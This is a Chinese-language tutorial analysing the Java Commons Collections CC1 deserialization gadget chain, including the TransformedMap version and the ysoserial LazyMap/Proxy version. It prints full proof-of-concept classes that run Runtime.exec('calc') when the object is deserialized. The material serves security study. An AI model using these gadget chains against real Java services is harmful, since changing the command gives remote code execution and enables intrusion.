Java利用链CommonCollections1分析
初始版本的CC1利用链
1 2 3 4 5 6 7 8 9 10 11 12
| public class CommonCollections1 { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.getRuntime()), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; Transformer transformerChain = new ChainedTransformer(transformers); Map innerMap = new HashMap(); Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain); outerMap.put("test", "111"); } }
|
成功弹窗

逐步分析利用链,首先分析
1 2 3 4 5 6
| Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.getRuntime()), new InvokerTransformer("exec", new Class[]{String.class}, new Object[] {"calc"}), };
|
这是一个接口,声明了transform方法

该类实现了Transformer接口,所以也实现了transform方法,该方法的内容是返回构造函数参数的对象
因为构造的参数是Runtime.getRuntime()所以最终返回的对象是Runtime类

InvokerTransformer类同样主要看实现的transform方法
主要内容是判断参数是否为null,不为null并且没有其它异常则执行方法的调用
我们的构造参数为(”exec”, new Class[]{String.class},new Object[]{“calc”})则会执行exec方法,参数为calc就是弹计算器的操作

再看第二条代码
1
| Transformer transformerChain = new ChainedTransformer(transformers);
|
ChainedTransformer中的transform方法为遍历构造函数参数的Transformer类数组,执行类的transform方法,transform的参数为上一个类transform方法返回的结果

我们传入的参数是
1 2
| new ConstantTransformer(Runtime.getRuntime()), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
|
根据前面对ConstantTransformer和InvokerTransformer的transform函数的分析,先执行ConstantTransformer的transorm函数返回Runtime类,再执行InvokerTransformer的transform函数参数为Runtime类,执行Runtime的exec方法弹出计算器
接下来看如何触发ChainedTransformer
1 2 3
| Map innerMap = new HashMap(); Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain); outerMap.put("test", "111");
|
TransormedMap底层也是继承了Map,是Map的装饰类,decorate方法
对Map进行装饰生成TransformedMap,因为构造方法为protected属性无法直接访问所以用decorate获得

再看TransormedMap的put函数
执行会触发transformKey和transformValue方法

现在看下这两个方法,如果值不为null,则触发transform方法,我们设置map的key或value为ChainedTransformer就能成功触发整个利用链

可是最终的结果是需要反序列化触发的,需要找到一个办法来替代之前通过put方法来手动触发的办法
找到的这个类就是sun.reflect.annotation.AnnotationInvocationHandler
AnnotationInvocationHandler
因为需要反序列化触发,所以看AnnotationInvocationHandler的ReadObject方法
在Jdk 8u71以前的版本

其中的meberValues就是我们传入的TransformedMap对象
然后进行遍历设值,在Map中有接口Entry=>setValue()会直接触发put操作,也就是触发TransformedMap的实现类ChainedTransformer的put,导致利用链执行
在Jdk 8u71以后的版本的readObject方法
会新建一个LinkedHashMap,所有的操作会在新的LinkedHashMap中进行,所以导致在Jdk 8u71以后的版本无法利用

在了解完所有类后完整的POC如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| public class CommonCollections1B { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, new String[] { "calc" }), }; Transformer transformerChain = new ChainedTransformer(transformers); Map innerMap = new HashMap(); innerMap.put("value", "xxxx");
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain); Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class); construct.setAccessible(true); InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap); ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(handler); oos.close(); System.out.println(barr); ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray())); Object o = (Object)ois.readObject(); } }
|
在之前创建Transformer中是直接使用Runtime.getRuntime获得的直接是Runtime类对象java.lang.Runtime
1 2 3 4
| Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.getRuntime()), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }
|
但是该类并没有实现java.io.Serializable所以不支持反序列化

所以可以通过反射来获取到上下文中的Runtime对象,新的写法就为
1 2 3 4 5 6
| Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc.exe"}), };
|
获取的是Runtime.class对象 是java.lang.Class对象
在之后的内容中触发序列化链
1 2 3 4 5 6 7 8 9 10
| Transformer transformerChain = new ChainedTransformer(transformers); Map innerMap = new HashMap(); innerMap.put("value", "xxxx");
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain); Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class); construct.setAccessible(true); InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
|
因为在AnnotationInvocationHandler的readObject方法中需要满足不等于null才会继续执行

而不满足null的条件是
- sun.reflect.annotation.AnnotationInvocationHandler 构造函数的第一个参数必须是 Annotation的子类,且其中必须含有至少一个方法,假设方法名是A
- 被 TransformedMap.decorate 修饰的Map中必须有一个键名为A的元素
因此用到了Retention.class,该类中有value方法,该类原用于指定注解保留策略
1 2
| Map innerMap = new HashMap(); innerMap.put("value", "xxxx");
|
1
| InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
|

在之后进行序列化和反序列化成功弹出计算器,利用CC1链成功
1 2 3 4 5 6 7
| ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(handler); oos.close(); System.out.println(barr); ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray())); Object o = (Object)ois.readObject();
|

ysoserial中利用LazyMap的CC1利用链
在ysoserial中利用的是LazyMap

看下LazyMap与TransformedMap一样都是来自Common-Collections库中的,继承AbstractMapDecorator。

LazyMap是通过get方法进行触发的,LazyMap为懒加载在get不到值的时候调用factory.transform获取value值put到map里并返回value

但是在AnnotationInvocationHandler的readObject方法中没有直接用到get方法,ysoserial利用了AnnotationInvocationHandler的invoke方法进行调用get

因为AnnotationInvocationHandler实现InvocationHandler,通过jdk动态代理对该对象进行代理,在readObject反序列化时调用任意方法就会调用invoke方法,从而执行LazyMap的get方法
对AnnotationInvocationHandler进行Proxy
1 2 3 4 5 6 7 8 9
| Transformer transformerChain = new ChainedTransformer(transformers); Map innerMap = new HashMap(); Map outerMap = LazyMap.decorate(innerMap, transformerChain); Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class); construct.setAccessible(true); InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);
|
因为最终利用链是需要通过readObject方法来进行触发的,所以readObject方法还是
入口点,当对象调用到readObject方法里面会调用porxyMap中的相关方法导致invoke触发,所以还要再包裹一层进行传入
1
| handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);
|
最终的POC如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| public class CommonCollections1C { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc.exe"}), };
Transformer transformerChain = new ChainedTransformer(transformers); Map innerMap = new HashMap(); Map outerMap = LazyMap.decorate(innerMap, transformerChain); Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class); construct.setAccessible(true); InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler); handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap); ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(handler); oos.close(); System.out.println(barr); ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray())); Object o = (Object) ois.readObject(); } }
|
成功弹出计算器

因为LazyMap实现的这条链,没有用到put方法,所以构造函数时也不需要Retention来满足条件
__END__